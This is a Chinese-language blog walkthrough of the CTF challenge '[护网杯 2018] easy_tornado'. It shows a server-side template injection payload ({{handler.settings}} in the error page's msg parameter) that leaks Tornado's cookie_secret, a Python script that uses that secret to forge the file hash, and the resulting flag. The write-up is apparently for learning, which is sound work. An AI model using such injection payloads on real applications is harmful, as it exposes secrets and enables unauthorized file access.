[护网杯 2018]easy_tornado

博客介绍了护网杯2018中easy_tornado挑战的解决过程,涉及filehash的计算方法。通过改变filehash值触发错误页面,发现msg参数回显。为正确访问文件,需获取cookie_secret。博主查找Tornado框架文档,了解到handler.settings用于访问关键参数,特别是RequestHandler.application.settings中的cookie_secret。通过Python计算得出filehash值,揭示了Tornado中handler与请求处理的关联。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点:
python模板注入:
就是指将一串指令代替变量传入模板中让它执行 ,例如我们在传入参数 值时,可以用 {{}} 符号来包裹一系列代码,以此替代本应是参数的 id,得到的效果就是http://..../?id={{代码}}。
tornado框架:python较主流的web框架

访问首页显示有三个txt文档,请求链接形式如下所示,参数由filenamefilehash组成。

file?filename=/hints.txt&filehash=46680cce237a8a9784ec42977d2856b4

hint.txt中提示了filehash的计算方式:

/hints.txt
md5(cookie_secret+md5(filename))

先随便改下filehash的值,发现跳转到错误页面,并且msg参数的值会回显到屏幕上:

/error?msg=Error

要正常访问/fllllllllllllag文件的内容,要正常计算出filehash的值,需要先获取cookie_secret。网上的wp传入的是/error?msg={{handler.settings}}会打印出cookie_secret,搜索tornado框架的文档:
在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,此处就是借助handler.settings来进行访问。
handler:
构建一个tornado网站,必须包含一个或者多个handler,这些handler是RequestHandler的子类。每个请求都会被映射到handler中进行处理,处理后再将结果返回给客户端。所以,hanlder可以视为客户端请求跟业务服务逻辑间的桥梁。
而RequestHandler.settings又是self.application.settings的别名:

RequestHandler.settings

An alias for self.application.settings.

因此handler.settings实际指向RequestHandler.application.settings,在tornado官方文档中搜索可知application.settings中保存了许多关键字参数,其中就包含cookie_secret

cookie_secret: 
Used by RequestHandler.get_secure_cookie and set_secure_cookie to sign cookies.

因此本题访问/error?msg={{handler.settings}}会返回一些关键参数值:

{'autoreload': True, 
'compiled_template_cache': False, 
'cookie_secret': '11b06953-50fd-4483-b00c-24666d2227e0'}

python计算出结果:

import hashlib

cookie_secret = '11b06953-50fd-4483-b00c-24666d2227e0'
filename = '/fllllllllllllag'

md51 = hashlib.md5()
md51.update(filename.encode(encoding='utf-8'))

str2 = cookie_secret + md51.hexdigest()
md52 = hashlib.md5()
md52.update(str2.encode(encoding='utf-8'))

print(md52.hexdigest())

注意文件名前面加上斜杠/fllllllllllllag。最后得出filehash值为6b25822d5e24a91e778dcf9419130567

/fllllllllllllag
flag{bf6c9e91-24d6-4640-9f37-582fbe4ec31b}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值